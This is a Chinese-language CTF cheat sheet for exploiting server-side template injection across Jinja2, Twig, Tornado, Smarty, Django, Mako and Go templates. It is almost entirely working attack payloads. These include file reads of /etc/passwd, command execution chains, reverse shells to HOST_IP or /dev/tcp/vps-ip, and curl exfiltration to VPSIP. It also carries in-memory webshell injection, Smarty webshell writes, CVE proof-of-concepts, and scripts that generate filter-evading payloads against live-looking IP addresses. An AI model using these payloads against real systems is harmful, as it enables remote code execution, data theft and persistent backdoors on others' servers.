判断网站类型

自己查找判断

  • 在页面或者抓包回复里有时会泄露类型

{{7*‘7’}}

  • 7777777 -> Jinja2 //最常见的 ssti 类型
  • 49 -> Twig,smarty 或者其他
  • 被过滤:试试{%print(7*‘7’)%}

各种类型

Jinja2(python)

常规信息搜集

  • {{config}}
    记录了很多基础信息,重要的有 SECRET_KEY,可以改 jwt 的 cookies 验证。

  • {{self.__dict__}}

  • {{url_for.__globals__}}

    • {{url_for.__globals__[‘current_app’].config[‘FLAG’]}}

偶尔找找,flag 可以在这里

  • {{datetime}}

含有__globals__的 python 内置类

{{a.__init__.__globals__}}
这里的a类似undefine类。

类似含有 globals 类的还有:

{{self.__init__.__globals__}}
{{cycler.__init__.__globals__}}
{{cycler.next.__globals__}}
{{application.__init__.__globals__}}
{{namespace.__init__.__globals__}}
{{joiner.__init__.__globals__}}
{{g.pop.__globals__}}
{{url_for.__globals__}}
{{lipsum.__globals__}}
{{get_flashed_massages.__globals__}}
{{config.__class__.__init__.__globals__}}
...

利用危险类(直接拿到了 globals 可略过)

利用<class ‘object’>进行注入

用这些可访问对象作为开头

[]
''
""
()
dict
request

并用 base,bases 或 mro 找到<class ‘object’>

{{''.__class__.__base__}} // <class 'object'>
{{''.__class__.__bases__[0]}} // <class 'object'>
{{''.__class__.__mro__[1]}}// <class 'object'>

使用 subclasses 找到危险类

{{''.__class__.__bases__[0].__subclasses__()}}

我们需要寻找危险类,再从中找到__globals__。
这里使用 os._wrap_close
跑脚本

import requests

url = "http://127.0.0.1:5000"
for i in range(0, 500):

payload = f"{{{{''.__class__.__bases__[0].__subclasses__()[{i}]}}}}"
# GET
res = requests.get(url=url + f"?name={payload}")
# POST
# data = {
# "flag": payload,
# }
# res = requests.post(url, data=data)
if "os._wrap_close" in res.text:
print(res.text)
print(payload)
break
# {{''.__class__.__bases__[0].__subclasses__()[147]}}

拿到危险类后就可以随意构造了 (用 os._wrap_close 可以直接拿到 globals 中的 popen)

{{''.__class__.__bases__[0].__subclasses__()[147].__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}
{{''.__class__.__bases__[0].__subclasses__()[147].__init__.__globals__.popen('whoami').read()}}

不使用<class ‘object’>

{{ request.__class__.__dict__ }}

  • application
  • _load_form_data
  • on_json_loading_failed

{{ config.__class__.__dict__}}

  • __init__
  • from_envvar
  • from_pyfile
  • from_object
  • from_file
  • from_json
  • from_mapping
  • get_namespace
  • __repr__

如果有回显出以下的全局对象

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}

POC 收集

回显

read&write
1.使用FileLoader(_frozen_importlib_external.FileLoader)读取
{{''.__class__.__bases__[0].__subclasses__()[122]["get_data"](0,"/etc/passwd")}}
2.命令执行读取
- open
{{lipsum.__globals__['__builtins__'].eval("open('/etc/passwd').read()")}}
- codecs
{{lipsum.__globals__['__builtins__'].eval("__import__('codecs').open('/etc/passwd').read()")}}
- pathlib
{{lipsum.__globals__['__builtins__'].eval("__import__('pathlib').Path('/etc/passwd').read_text()")}}
- io
{{lipsum.__globals__['__builtins__'].eval("__import__('io').open('/etc/passwd').read()")}}

RCE
{{lipsum.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}
{{lipsum.__globals__.os.popen("whoami").read()}}

无回显

容器有网
使用curl命令带出数据
{{config.__class__.__init__.__globals__['os'].popen('curl VPSIP/`ls /app/f*`').read()}}
{{config.__class__.__init__.__globals__['os'].popen('curl VPSIP/`tac /app/fl4gfl4gfl4g`').read()}}

反弹shell,把"HOST_IP"和Port换成自己的VPS地址
{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'exec' in x.__init__.__globals__['__builtins__']['exec'].__name__ %}
        {{ x.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
    {% endif %}
{% endfor %}

{{cycler.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
容器无网
写内存马
add_url_rule写马(高版本已经不可用):
{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_url_rule('/flag',lambda:__import__('os').popen('cat /flag').read())")}} #写一次后就会爆500

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}} #传cmd参数

request.add_response_callback写马:
{{cycler.__init__.__globals__.__builtins__['exec']("request.add_response_callback(lambda request, response: setattr(response,'text', __import__('os').popen('whoami').read()))",{'request': request})}}
过滤了点的写法:
{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')(lambda request,response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request': request})}}

请求头返回马:
{{cycler['__init__']['__globals__']['__builtins__']['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']('sys')['modules']['wsgiref']['simple_server']['ServerHandler'],'http_version',cycler['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']())}}

before_request写马:
https://blog.csdn.net/2301_80148821/article/details/143237394
{%set gl%3d'_'*2%2b'globals'%2b'_'*2%}{%set bu%3d'_'*2%2b'builtins'%2b'_'*2%}{%set im%3d'_'*2%2b'i''mport'%2b'_'*2%}{%set ay%3d'so'[%3a%3a-1]%}{{cycler.next[gl][bu]['ev'%2b'al']("_"%2b"_imp"%2b"ort_"%2b"_('s"%2b"ys').modules['_"%2b"_main_"%2b"_']._"%2b"_dict_"%2b"_['app'].before_request_funcs.setdefault(None,[]).append(lambda%3a'<pre>{0}</pre>'.format(_"%2b"_impo"%2b"rt_"%2b"_('o"%2b"s').po"%2b"pen('cat%20/flag').read()))")}}
{{self['_''_init_''_']['_''_globals_''_']['_''_builtins_''_']['ev''al']("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x73\x79\x73\x27\x29\x2e\x6d\x6f\x64\x75\x6c\x65\x73\x5b\x27\x5f\x5f\x6d\x61\x69\x6e\x5f\x5f\x27\x5d\x2e\x5f\x5f\x64\x69\x63\x74\x5f\x5f\x5b\x27\x61\x70\x70\x27\x5d\x2e\x62\x65\x66\x6f\x72\x65\x5f\x72\x65\x71\x75\x65\x73\x74\x5f\x66\x75\x6e\x63\x73\x2e\x73\x65\x74\x64\x65\x66\x61\x75\x6c\x74\x28\x4e\x6f\x6e\x65\x2c\x5b\x5d\x29\x2e\x61\x70\x70\x65\x6e\x64\x28\x6c\x61\x6d\x62\x64\x61\x20\x3a\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29\x2e\x72\x65\x61\x64\x28\x29\x29")}}
写静态文件

脚本 From https://bili33.top/posts/CTF-CISCN2024-Preliminary-round-Writeup/

def generate_number(num: int):

num_map = {
0: "([]|length)",
1: "([g]|length)",
5: "(()|select|string|wordcount)",
6: "(()|select|string|urlencode|wordcount)",
12: "([g,g,g]|wordcount)",
16: "([g,g,g,g]|wordcount)",
20: "([g,g,g,g,g]|wordcount)",
24: "([g,g,g,g,g,g]|wordcount)",
28: "([g,g,g,g,g,g,g]|wordcount)",
32: "([g,g,g,g,g,g,g,g]|wordcount)",
36: "([g,g,g,g,g,g,g,g,g]|wordcount)",
40: "([g,g,g,g,g,g,g,g,g,g]|wordcount)",
44: "([g,g,g,g,g,g,g,g,g,g,g]|wordcount)",
48: "([g,g,g,g,g,g,g,g,g,g,g,g]|wordcount)",
106: "([config,config]|wordcount)",
}

keys = sorted(num_map.keys(), reverse=True)

r = []
for i in keys:
while num >= i:
num -= i
r.append(num_map[i])

final_number = f"(([{','.join(r)}])|sum)"

return final_number


def use_c(target):

# format_c = '(()|select|string|urlencode)[0]~(()|select|string)[15]' # %c

# format_c = '(()|select|string|urlencode)|attr(\'__getitem__\')(0)~(()|select|string)|attr(\'__getitem__\')(15)'

# 在每个payload开头加上: {% set c = (()|select|string|urlencode)[0]~(()|select|string)[15] %}
# 则format_c 可以这样写: format_c = 'c'

format_c = "((()|select|string|urlencode)[0]~(()|select|string)[15])"
format_s = ("%s~" * len(target))[:-1] # %s~%s~%s~%s~ ....

if False: # 不使用波浪线
# 用join 替代波浪线
format_c = "[(()|select|string|urlencode)[0],(()|select|string)[15]]|join"
format_s = "[" + (",".join(["%s" for i in range(len(target))])) + "]|join"

if True: # 不使用数字
format_c = f"[(()|select|string|urlencode)[{generate_number(0)}],(()|select|string)[{generate_number(15)}]]|join"
format_s = "[" + (",".join(["%s" for i in range(len(target))])) + "]|join"

format_tuple = (format_c,) * len(target)

_class_ascii = ",".join([str(ord(c)) for c in target])

# _class_ascii = ','.join([generate_number(ord(c)) for c in target])

format_tuple += (_class_ascii,)

# |format() 和 % 可以平替
result = f"(({format_s})|format(%s))"
# result = f'(({format_s})%%(%s))'

result = result % format_tuple
return result


def str2chr(string):
r = ""
for c in string:
r += f"chr({ord(c)})+"
return r[:-1]


def str2ascii(string):
r = ""
for c in string:
r += f"{ord(c)},"
return r[:-1]


def payload2(cmd):
# v2 不使用 []
# 使用字符:{{ ' () ~ | attr select string urlencode format lipsum
# 使用时候把 use_c 的 format_c 改一下

# lipsum,url_for,get_flashed_messages 可互换
payload = (
"{{get_flashed_messages|attr(%s)|attr(%s)(%s)|attr(%s)(%s)(%s)|attr(%s)(%s)|attr(%s)()}}"
% (
use_c("__globals__"),
use_c("get"),
use_c("__builtins__"),
use_c("get"),
use_c("__import__"),
use_c("os"),
use_c("popen"),
use_c(cmd),
use_c("read"),
)
)

return payload


import requests

url = "http://39.105.45.179:30722/"

requests.post(url=url, data={"code": payload2("mkdir /app/static")})
requests.post(url=url, data={"code": payload2("cat /flag > /app/static/flag.html")})

一点关于 ssti 的绕过

()是不可绕过的
但如果 unicode 开着可以试试用全角括号绕过
(=>%EF%BC%88
)=>%EF%BC%89

过滤了双大括号{{}}

{{…}} -> {%print(…)%}

过滤了下划线

{{()|select|string}}
结果为
<generator object select_or_reject at 0x0000025FC4517520>
我们可以发现这里面出现了下划线,我们就可以造出下划线了

str = "<generator object select_or_reject at 0x0000025FC4517520>"
pos = str.find("_")
print(pos)
payload = f"{{{{(()|select|string)[{pos}]}}}}"
print(payload)
# 24
# {{(()|select|string)[24]}}
{%set u=(()|select|string)[24]*2%}{{u}}
{%set%20u=(()|select|string)[24]*2%}{{''[u%2b"class"%2bu][u%2b"class"%2bu]}}

过滤点,中括号

获取属性

. [] 和 |attr() 可以互换(仅限获取属性)

{{''.__class__.__base__}}
{{''['__class__']['__base__']}}
{{''|attr('__class__')|attr('__base__')}}

{{''.__getattribute__('__class__')}}
注意的是__getattribute__不能连接,因为__getattribute__是对象方法,不是全局函数

当需要字符串里过滤时用 getattr

request.add_response_callback
getattr(request,'add_response_callback')

__import__('os').popen('whoami').read()
getattr(getattr(__import__('os'),'popen')('whoami'),'read')()

或者选择编码绕过
获取键值或下标

dict 类型可用 __getitem__,pop,get,setdefault
list 类型可用__getitem__,pop
tuple 类型可用 __getitem__,first,last,random
也可以先转换成 list,此时要加括号以防优先级问题

{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__.__getitem__(1).__subclasses__()}}
{{(''.__class__.__mro__|first()).__subclasses__()}}
{{(''.__class__.__mro__|list).pop(1).__subclasses__()}}

字符串绕过(关键字屏蔽)

先把关键字用字符串表示

字符串拼接
  • [‘__class__’] -> [‘_'’_cl’‘ass_’‘_’]
  • [‘__class__’] -> [‘__ssalc__’[::-1]]
格式化
"__class__"
{%set cl="{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)%}{{''[cl]}}
{%set cl="%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)%}{{''[cl]}}
{%set cl='%c%c%c%c%c%c%c%c%c'%(95,95,99,108,97,115,115,95,95)%}{{''[cl]}}
编码绕过

(1)unicode

  • __class__->[‘\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f’]
    编码可在 cyberchef 的 escape unicode characters 中找到

(2)hex 十六进制

  • __class__->[‘\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f’]

(3)Octal 八进制

  • __class__->[‘\137\137\143\154\141\163\163’]
request 绕过

request.args 对应 get 请求
request.form 对应 post 请求
可以直接帮你绕过引号内的内容。

{{lipsum.__globals__.os.popen("whoami").read()}}
{{lipsum[request.args.gl][request.args.o][request.args.p](request.args.cmd)[request.args.r]()}}&gl=__globals__&o=os&p=popen&cmd=whoami&r=read
{{(lipsum|attr(request.args.gl)).get(request.args.o)|attr(request.args.p)(request.args.cmd)|attr(request.args.r)()}}&gl=__globals__&o=os&p=popen&cmd=whoami&r=read

限制了 payload 长度

{%set x=config.update(a=config.update)%}   //此时字典中a的值被更新为config全局对象中的update方法
{%set x=config.a(f=lipsum.__globals__)%}   //f的值被更新为lipsum.__globals__
{%set x=config.a(o=config.f.os)%}          //o的值被更新为lipsum.__globals__.os
{%set x=config.a(p=config.o.popen)%}       //p的值被更新为lipsum.__globals__.os.popen
{{config.p("cat /f*").read()}}

{%print(config)%}                          //输出config字典的所有键值对
{%print(config.o)%}                        //输出

chr 绕过

先找到 chr 所需的危险类

{%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""chr(46)+chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)+chr(46)+chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95)}}
<?php
$str='__class__.__bases__';
$ans='chr('.ord($str[0]).')';
for ($i=1;$i<strlen($str);$i++) {
$ans.='+chr('.ord($str[$i]).')';
}
echo $ans;
?>

还要先拿到 chr 函数,局限偏大。

fenjing 一把梭

https://github.com/Marven11/Fenjing

fenjing webui

fenjing python 破解脚本

waf 黑名单生成 shell

import fenjing
import logging

logging.basicConfig(level=logging.INFO)


def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
blacklist = [
"config",
"self",
"g",
"os",
"class",
"length",
"mro",
"base",
"lipsum",
]
return all(word not in s for word in blacklist)


if __name__ == "__main__":
cmd = "cat /flag"
full_payload_gen = fenjing.FullPayloadGen(waf)
shell_payload, _ = fenjing.exec_cmd_payload(waf, cmd) # 执行系统命令
# config_payload = fenjing.config_payload(waf) #查看config文件
# eval_payload, _ = full_payload_gen.generate(
# fenjing.const.EVAL, (fenjing.const.STRING, cmd)
# ) # 执行python命令
print(f"{shell_payload=}")
# print(f"{eval_payload=}")

if not _:
print("这个payload不会产生回显")

waf 返回文本生成 shell

import functools
import time
import requests
from fenjing import exec_cmd_payload


URL = "http://10.137.0.28:5000"


@functools.lru_cache(1000)
def waf(payload: str): # 如果字符串s可以通过waf则返回True, 否则返回False
time.sleep(0.02) # 防止请求发送过多
resp = requests.get(URL, timeout=10, params={"name": payload})
waf_text = "BAD" # 被waf返回文本
return waf_text not in resp.text


if __name__ == "__main__":
cmd = "ls /"
shell_payload, will_print = exec_cmd_payload(waf, cmd)
if not will_print:
print("这个payload不会产生回显!")

print(f"{shell_payload=}")

自行修改~

Twig(PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*‘7’}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

示例

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Tornado render(python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*‘7’}} = 7777777

示例

0.获取基础
{{handler.settings}}
1.直接读取文件
{% extend /proc/self/environ %}
{% include /proc/self/environ %}
2.直接调用函数
{{__import__("os").popen("ls").read()}}
{{eval('__import__("os").popen("ls").read()')}}
{{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}
3.导入库
{% import os %}{{ os.popen("whoami").read() }}
4.类似flask注入,payload部分通用(所以有时过滤小括号)
{{"".__class__.__mro__[-1].__subclasses__()[num].__init__.__globals__["popen"]('ls').read()}}
{{"".__class__.__mro__[-1].__subclasses__()[num].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
5.tornado特有
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}
{% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}

绕过过滤方法
1.过滤{{}}
{%autoescape None%}{% raw ... %}等同于{{...}}
{%autoescape None%}{% raw eval('__import__("os").popen("ls").read()')%}
2.过滤关键字和引号时,类似flask使用参数绕过
{{eval(handler.get_argument(request.method))}}&GET=__import__("os").popen("ls").read()
POST同理
3.过滤了小括号未过滤引号
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}
4.过滤小括号和引号
payload可以这么改变:
__import__('os').popen('bash -c \'bash -i >& /dev/tcp/vps-ip/port <&1\'')%0a"""%0a&ssti={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&%0a"""(没成功)
注:下面成功了
ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

smarty(PHP)

{$smarty.version}

{if phpinfo()}{/if}
{if readfile('/flag')}{/if}

php5可用{literal}标签
{literal}alert('xss');{/literal}
{literal}<script>language="php">xxx</script>;{/literal}

3.1前可用{php}标签
{php}phpinfo();{/php}

#3.1.30已弃用getStreamVariable
{self::getStreamVariable("file:///etc/passwd")}

{function+name='rce(){};@eval($_POST[1]);function%0a%0a'}{/function}

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}

CVE-2021-26120 poc
string:{function name='rce(){};phpinfo();function '}{/function}

CVE-2021-26119 poc
string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system("ls /")}')}

Django

{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Mako(python)

<%
import os
x=os.popen('id').read()
%>
${x}

GoLang

在 Go 的模板引擎中,可以通过特定的有效负载来确认其使用情况:

  • {{ . }}:显示数据结构输入。例如,如果具有 Password attribute 时, {{ .Password }} 可能会暴露它。

  • {{printf “%s” “ssti” }}:应显示字符串 “ssti”。

  • {{html “ssti”}}、 {{js “ssti”}}:这些有效负载应返回 “ssti” ,而不附加 “html” 或 “js”

对于 Go 中通过 SSTI 的 RCE,可以调用对象方法。例如,如果提供的对象具有 System 方法执行命令,它可以被利用,例如 {{ .System “ls” }}。访问源代码通常是利用这一点所必需的,如给定的示例所示:

func (p Person) Secret (test string) string {
out, \_ := exec.Command(test).CombinedOutput()
return string(out)
}